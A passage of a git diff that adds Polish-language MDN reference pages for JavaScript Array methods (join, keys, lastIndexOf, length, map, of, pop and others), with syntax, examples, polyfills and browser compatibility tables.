name="Browser_compatibility">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("5")}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatOpera("10.5")}}</td> + <td>{{CompatSafari("5")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>Based on <a href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li>{{jsxref("Global_Objects/Array", "Array")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/join/index.html b/files/pl/web/javascript/referencje/obiekty/array/join/index.html new file mode 100644 index 0000000000..b4b22afc49 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/join/index.html @@ -0,0 +1,50 @@ +--- +title: Array.prototype.join() +slug: Web/JavaScript/Referencje/Obiekty/Array/join +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/join +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Łączy wszystkie elementy tablicy w jeden łańcuch znaków.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var> = <var>arr</var>.join([<var>separator</var> = ','])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>separator</code> </dt> + <dd>Określa łańcuch znaków użyty do oddzielenia każdego z elementów tablicy. W razie konieczności separator jest konwertowany do łańcucha znaków. Jeśli parametr zostanie pominięty, elementy tablicy będą rozdzielone za pomocą przecinka.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>join</code> zmienia w łańcuchy znaków wszystkie elementy tablicy i łączy je w jeden łańcuch znaków.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_.C5.81.C4.85czenie_tablicy_na_trzy_r.C3.B3.C5.BCne_sposoby" name="Przyk.C5.82ad:_.C5.81.C4.85czenie_tablicy_na_trzy_r.C3.B3.C5.BCne_sposoby">Przykład: Łączenie tablicy na trzy różne sposoby</h3> + +<p>Poniższy przykład tworzy trzyelementową tablicę <code>a</code> zawierającą trzy elementy, następnie trzykrotnie łączy ją: używając domyślnego separatora, przecinka i spacji oraz znaku plus.</p> + +<pre class="brush: js">var a = new Array("Wiatr","Deszcz","Ogień"); +var myVar1 = a.join() // przypisuje "Wiatr,Deszcz,Ogień" do myVar1 +var myVar2 = a.join(", ") // przypisuje "Wiatr, Deszcz, Ogień" do myVar2 +var myVar3 = a.join(" + ") // przypisuje "Wiatr + Deszcz + Ogień" do myVar3 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.split()")}}</li> + <li>{{jsxref("Array.prototype.toString()")}}</li> + <li>{{jsxref("TypedArray.prototype.join()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/keys/index.html b/files/pl/web/javascript/referencje/obiekty/array/keys/index.html new file mode 100644 index 0000000000..4ab6d7e18e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/keys/index.html @@ -0,0 +1,120 @@ +--- +title: Array.prototype.keys() +slug: Web/JavaScript/Referencje/Obiekty/Array/keys +translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>keys()</strong></code> zwraca nowy obiekt typu <code><strong>Array Iterator</strong></code> zawierający indeksy kolejnych elementów tablicy.</p> + +<pre class="brush: js">var arr = ['a', 'b', 'c']; +var iterator = arr.keys(); + +console.log(iterator.next()); // { value: 0, done: false } +console.log(iterator.next()); // { value: 1, done: false } +console.log(iterator.next()); // { value: 2, done: false } +console.log(iterator.next()); // { value: undefined, done: true } +</pre> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>arr</var>.keys()</pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy iterator dla typu {{jsxref("Array")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Iterator_nie_ignoruje_dziur">Iterator nie ignoruje dziur</h3> + +<pre class="brush: js">var arr = ['a', , 'c']; +var sparseKeys = Object.keys(arr); +var denseKeys = [...arr.keys()]; +console.log(sparseKeys); // ['0', '2'] +console.log(denseKeys); // [0, 1, 2] +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Pierwsze wystąpienie.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("38")}}</td> + <td>{{CompatGeckoDesktop("28")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera("25")}}</td> + <td>{{CompatSafari("7.1")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("28")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Array.prototype.values()")}}</li> + <li>{{jsxref("Array.prototype.entries()")}}</li> + <li>{{jsxref("Iteration_protocols", "Iteratory")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html b/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html new file mode 100644 index 0000000000..3a6322d6b4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html @@ -0,0 +1,114 @@ +--- +title: Array.prototype.lastIndexOf() +slug: Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca ostatni indeks, pod którym podany element może być znaleziony w tablicy, lub -1 jeśli nie jest obecny. Tablica jest przeszukiwana od końca, zaczynając od indeksu <code>fromIndex</code></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.lastIndexOf(<var>searchElement</var>[, <var>fromIndex</var> = arr.length])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>searchElement</code></dt> + <dd>Element do znalezienia w tablicy.</dd> + <dt><code>fromIndex</code></dt> + <dd>Indeks od którego ma zostać rozpoczęte wyszukiwanie od tyłu. Domyślnie jest to długość tablicy, tzn. przeszukana zostanie cała tablica. Jeśli indeks jest większy od lub równy długości tablicy, przeszukana zostanie cała tablica. Jeśli jest ujemny, traktowany będzie jako przesunięcie od końca tablicy. Należy pamiętać, że nawet jeśli indeks jest ujemny, to i tak tablica przeszukiwana jest od końca do początku. Jeśli obliczony indeks jest mniejszy od 0, zwracana jest wartość -1, innymi słowy, tablica nie zostanie przeszukana.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>lastIndexOf</code> porównuje <code>searchElement</code> z elementami tablicy używając <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%c3%b3wnania#.22U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania">ścisłego porównania</a> (podobnie jak w przypadku operatora ===).</p> + +<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3> + +<p><code>lastIndexOf</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>lastIndexOf</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p> + +<pre class="brush: js">if (!Array.prototype.lastIndexOf) +{ + Array.prototype.lastIndexOf = function(elt /*, from*/) + { + var len = this.length; + + var from = Number(arguments[1]); + if (isNaN(from)) + { + from = len - 1; + } + else + { + from = (from < 0) + ? Math.ceil(from) + : Math.floor(from); + if (from < 0) + from += len; + else if (from >= len) + from = len - 1; + } + + for (; from > -1; from--) + { + if (from in this && + this[from] === elt) + return from; + } + return -1; + }; +} +</pre> + +<p>Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z <code>lastIndexOf</code> występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki skrajne. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz obliczyć <code>from</code> za pomocą mniej skomplikowanego kodu (z pominięciem części instrukcji warunkowych).</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_lastIndexOf" name="Przyk.C5.82ad:_Zastosowanie_lastIndexOf">Przykład: Zastosowanie <code>lastIndexOf</code></h3> + +<p>Poniższy przykład używa <code>lastIndexOf</code> do znalezienia określonych wartości w tablicy.</p> + +<pre class="brush: js">array = [2, 5, 9, 2]; +index = array.lastIndexOf(2); +// index is 3 +index = array.lastIndexOf(7); +// index is -1 +index = array.lastIndexOf(2, 3); +// index is 3 +index = array.lastIndexOf(2, 2); +// index is 0 +index = array.lastIndexOf(2, -2); +// index is 0 +index = array.lastIndexOf(2, -1); +// index is 3 +</pre> + +<h3 id="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_danego_elementu" name="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_danego_elementu">Przykład: Wyszukiwanie wszystkich wystąpień danego elementu</h3> + +<p>Poniższy przykład używa <code>lastIndexOf</code> do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/push">push</a></code>.</p> + +<pre class="brush: js">indices = []; +idx = array.lastIndexOf(element) +while (idx != -1) { + indices.push(idx); + idx = (idx > 0 ? array.lastIndexOf(element, idx - 1) : -1); +} +</pre> + +<p>Warto zauważyć, że obsłużyliśmy warunek <code>idx == 0</code> oddzielnie, ponieważ element ten zostanie zawsze odnaleziony - bez względu na wartość parametru <code>fromIndex</code> - w przypadku gdy jest on pierwszym elementem tablicy. To różni tę metodę od metody {{jsxref("Array.prototype.indexOf()")}}.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li>{{jsxref("Array.prototype.indexOf()")}}</li> + <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/length/index.html b/files/pl/web/javascript/referencje/obiekty/array/length/index.html new file mode 100644 index 0000000000..0ce2bbde35 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/length/index.html @@ -0,0 +1,53 @@ +--- +title: Array.prototype.length +slug: Web/JavaScript/Referencje/Obiekty/Array/length +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/length +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>32-bitowa liczba całkowita bez znaku określająca liczbę elementów w tablicy.</p> + +<div>{{js_property_attributes(1, 0, 0)}}</div> + +<div> +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.length</code></pre> +</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartością własności <code>length</code> jest dodatnia liczba całkowita mniejsza niż 2 do potęgi 32 (2<sup>32</sup>).</p> + +<p>W dowolnej chwili możesz ustalić wartość <code>length</code> w celu zmniejszenia rozmiaru tablicy. Ustawienie wartości <code>length</code> na większą niż rozmiar tablicy nie zwiększy liczby elementów, np. jeżeli ustawisz <code>length</code> na 3, podczas gdy obecną wartością jest liczba 2, tablica nadal będzie zawierać tylko 2 elementy.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Iteracja_przez_wszystkie_elementy_tablicy" name="Przyk.C5.82ad:_Iteracja_przez_wszystkie_elementy_tablicy">Przykład: Iteracja przez wszystkie elementy tablicy</h3> + +<p>W poniższym przykładzie ilość elementów w tablicy <code>numbers</code> jest określana w instrukcji iteracyjnej na podstawie wartości <code>length</code>, następnie wartość każdego elementu jest podwajana.</p> + +<pre class="brush: js">var numbers = [1,2,3,4,5]; +for (var i = 0; i < numbers.length; i++) { + numbers[i] *= 2; +} +// zawartość tablicy to teraz [2,4,6,8,10]; +</pre> + +<h3 id="Przyk.C5.82ad:_Skracanie_tablicy" name="Przyk.C5.82ad:_Skracanie_tablicy">Przykład: Skracanie tablicy</h3> + +<p>Poniższy przykład zmniejsza rozmiar tablicy <code>statesUS</code> do 50, jeżeli przekracza on tę wartość.</p> + +<pre class="brush: js">if (statesUS.length > 50) { + statesUS.length=50 +} +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/array/map/index.html b/files/pl/web/javascript/referencje/obiekty/array/map/index.html new file mode 100644 index 0000000000..2b25e7f1cd --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/map/index.html @@ -0,0 +1,93 @@ +--- +title: Array.prototype.map() +slug: Web/JavaScript/Referencje/Obiekty/Array/map +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/map +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>map()</strong></code> tworzy nową tablicę zawierającą wyniki wywoływania podanej funkcji dla każdego elementu wywołującej tablicy.</p> + +<pre class="brush: js">var liczby = [1, 5, 10, 15]; +var podwojenia = liczby.map(function(x) { + return x * 2; +}); +// podwojenia to teraz [2, 10, 20, 30] +// liczby to dalej [1, 5, 10, 15] + +var liczby = [1, 4, 9]; +var pierwiastki = liczby.map(Math.sqrt); +// pierwiastki to teraz [1, 2, 3] +// liczby to dalej [1, 4, 9] +</pre> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>var new_array = arr</var>.map(<var>function callback(currentValue, index, array){ // Zwróć element nowej tablicy }</var>[, <var>thisArg</var>])</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code><strong>callback</strong></code></dt> + <dd>Funkcja tworząca element nowej tablicy, przyjmująca trzy argumenty:</dd> + <dd> + <dl> + <dt><code><strong>currentValue</strong></code></dt> + <dd>Element tablicy nad którym obecnie pracujemy</dd> + <dt><code><strong>index</strong></code></dt> + <dd>Indeks elementu tablicy nad którym obecnie pracujemy</dd> + <dt><code><strong>array</strong></code></dt> + <dd>Oryginalna tablica na rzecz której wywołano metodę <code>map</code></dd> + </dl> + </dd> + <dt><code><strong>thisArg</strong></code></dt> + <dd>Opcjonalny. Wartość jaką użyć jako <code>this</code> podczas wywołania <code>callback</code></dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowa tablica zawierająca elementy będące wynikami wywoływani funkcji <code>callback</code>.</p> + +<h2 id="Opis">Opis</h2> + +<p><code>map</code> wykonuje funkcję (<code>callback</code>) raz na każdym z elementów tablicy w kolejności i tworzy nową tablicę na podstawie wyników. <code>callback</code> wywoływany jest tylko dla indeksów tablicy które mają przypisane wartości, włącznie z <a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/undefined">undefined</a>. Nie jest wywoływany dla brakujących elementów tablicy (indeksów które nigdy nie były ustawione, usunięte lub nie miały nigdy przypisanych wartości).</p> + +<p><code>callback</code> wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i tablicą która jest trawersowana.</p> + +<p>W przypadku podania argumentu <code>thisObject</code>, zostanie on przekazany jako <code>this</code> przy każdym wywołaniu <code>callback</code>. Gdy go brak, lub ma wartość <code>null</code>, użyty zostanie obiekt globalny przyporządkowany do <code>callback</code>.</p> + +<p><code>map</code> nie modyfikuje tablicy, na której jest wywołany.</p> + +<p>Zakres elementów przetwarzanych przez <code>map</code> ustalany jest przed pierwszym wywołaniem <code>callback</code>. Elementy dodane do tablicy po wywołaniu <code>map</code> nie zostaną odwiedzone przez <code>callback</code>. Jeśli istniejący, element tablicy zostanie zmieniony lub usunięty, wartością przekazaną do <code>callback</code> będzie wartość z momentu w którym <code>map</code> odwiedza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako <code>undefined</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Wielkie_litery_.C5.82a.C5.84cuch.C3.B3w_w_tablicy" name="Przyk.C5.82ad:_Wielkie_litery_.C5.82a.C5.84cuch.C3.B3w_w_tablicy">Wielkie litery łańcuchów w tablicy</h3> + +<p>Poniższy kod tworzy nową tablicę zawierającą pisaną wielkimi literami wersję wszystkich oryginalnych łańcuchów.</p> + +<pre class="brush: js">var strings = ["hello", "Array", "WORLD"]; +function makeUpperCase(v) +{ + return v.toUpperCase(); +} +var uppers = strings.map(makeUpperCase); +// uppers są teraz pisane wielkimi literami ["HELLO", "ARRAY", "WORLD"] +// strings są niezmienione +</pre> + +<h3 id="Przyk.C5.82ad:_Mapowanie_tablicy_liczb_do_tablicy_pierwiastk.C3.B3w_kwadratowych" name="Przyk.C5.82ad:_Mapowanie_tablicy_liczb_do_tablicy_pierwiastk.C3.B3w_kwadratowych">Mapowanie tablicy liczb do tablicy pierwiastków kwadratowych</h3> + +<p>Poniższy kod pobiera tablicę liczb i tworzy nową tablicę z pierwiastkami kwadratowymi liczb z pierwszej tablicy.</p> + +<pre class="brush: js">var liczby = [1, 4, 9]; +var pierwiastki = liczby.map(Math.sqrt); +// otrzymane pierwiastki [1, 2, 3] +// pozostające nadal liczby [1, 4, 9] +</pre> + +<p> </p> diff --git a/files/pl/web/javascript/referencje/obiekty/array/of/index.html b/files/pl/web/javascript/referencje/obiekty/array/of/index.html new file mode 100644 index 0000000000..74c9974bd0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/of/index.html @@ -0,0 +1,92 @@ +--- +title: Array.of() +slug: Web/JavaScript/Referencje/Obiekty/Array/of +translation_of: Web/JavaScript/Reference/Global_Objects/Array/of +--- +<div>{{JSRef}}</div> + +<p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Metoda </span></font><strong>Array.of()</strong></code> tworzy nową instancję obiektu <code>Array</code>, która zawiera w sobie wszystkie argumenty przekazane do funkcji, niezależnie od ich liczby i typu.</p> + +<p>Różnica pomiędzy <code><strong>Array.of()</strong></code> i konstruktorem <code><strong>Array</strong></code> polega na różnej interpretacji argumentów - <code><strong>Array.of(7)</strong></code> tworzy nową tablicę z jednym elementem(<code>7</code>), gdzie <code><strong>Array(7)</strong></code> tworzy nową tablicę z właściwością <code>length</code> ustawioną na 7 (<strong>Notatka:</strong> Oznacza to tablicę z <code>7</code> wolnymi miejscami, nie miejscami z wartościami <code>undefined</code>).</p> + +<pre class="brush: js">Array.of(7); // [7] +Array.of(1, 2, 3); // [1, 2, 3] + +Array(7); // [ , , , , , , ] +Array(1, 2, 3); // [1, 2, 3] +</pre> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>element<em>N</em></code></dt> + <dd>Elementy, które tworzą tablicę.</dd> +</dl> + +<h3 id="Wartość_zwracana">Wartość zwracana</h3> + +<p>Nowa instancja obiektu {{jsxref("Array")}}.</p> + +<h2 id="Opis">Opis</h2> + +<p>Ta funkcja jest częścią standardu ECMAScript 2015. Po więcej informacji zobacz <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> and <code>Array.from</code> proposal</a> i <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> polyfill</a>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">Array.of(1); // [1] +Array.of(1, 2, 3); // [1, 2, 3] +Array.of(undefined); // [undefined] +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Uruchomienie tego kodu przed innym stworzy <code>Array.of()</code> nawet jeśli nie jest ona dostępna natywnie.</p> + +<pre class="brush: js">if (!Array.of) { + Array.of = function() { + return Array.prototype.slice.call(arguments); + }; +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.of")}}</p> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Array.from()")}}</li> + <li>{{jsxref("TypedArray.of()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/pop/index.html b/files/pl/web/javascript/referencje/obiekty/array/pop/index.html new file mode 100644 index 0000000000..2b7483dbd7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/pop/index.html @@ -0,0 +1,138 @@ +--- +title: Array.prototype.pop() +slug: Web/JavaScript/Referencje/Obiekty/Array/pop +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Metodă + - Prototype + - Tablica +translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Usuwa ostatni element z tablicy zwracając go. Metoda ta zmienia długość tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.pop()</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Ostatni element tablicy;<br> + Jeśli tablica jest pusta zwraca {{jsxref("undefined")}}</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda pop usuwa ostatni element tablicy i zwraca tę wartość.</p> + +<p><code>pop</code> is intentionally generic. Metoda ta może być {{jsxref("Function.call", "called", "", 1)}} lub {{jsxref("Function.apply", "applied", "", 1)}} do obiektu przypominającego tablice. Obiekty, które nie posiadają właściwości <code>length</code> odzwierciedlającej ostani element w serii, przy właściwościach liczonych od zera nie mogą zachowywać się w żaden znaczący sposób.</p> + +<p>Jeśli zawołasz <code>pop()</code> na pustej tablicy, zwróci ona {{jsxref("undefined")}}.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<h3 id="Przyk.C5.82ad:_Usuwanie_ostatniego_elementu_tablicy" name="Przyk.C5.82ad:_Usuwanie_ostatniego_elementu_tablicy">Przykład: Usuwanie ostatniego elementu tablicy</h3> + +<p>Następujący kod tworzy tablicę <code>myFish</code> zawierającą cztery elementy, a następnie usuwa ostatni jej element.</p> + +<pre><code>var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; + +console.log(myFish); // ['angel', 'clown', 'mandarin', 'sturgeon'] + +var popped = myFish.pop(); + +console.log(myFish); // ['angel', 'clown', 'mandarin' ] + +console.log(popped); // 'sturgeon'</code></pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.2.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("1.0")}}</td> + <td>{{CompatGeckoDesktop("1.7")}}</td> + <td>{{CompatIE("5.5")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.push()")}}</li> + <li>{{jsxref("Array.prototype.shift()")}}</li> + <li>{{jsxref("Array.prototype.unshift()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html new file mode 100644 index 0000000000..94cbd2b287 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html @@ -0,0 +1,12 @@ +--- +title: Array.prototype +slug: Web/JavaScript/Referencje/Obiekty/Array/prototype +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Reprezentuje prototyp tego obiektu. Pozwala na dodawanie własności lub metod do wszystkich instancji obiektu. Zobacz {{jsxref("Object.prototype")}}, aby uzyskać więcej informacji.</p> diff --git a/files/pl/web/javascript/referencje/obiekty/array/push/index.html b/files/pl/web/javascript/referencje/obiekty/array/push/index.html new file mode 100644 index 0000000000..92bf342cda --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/push/index.html @@ -0,0 +1,51 @@ +--- +title: Array.prototype.push() +slug: Web/JavaScript/Referencje/Obiekty/Array/push +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/push +--- 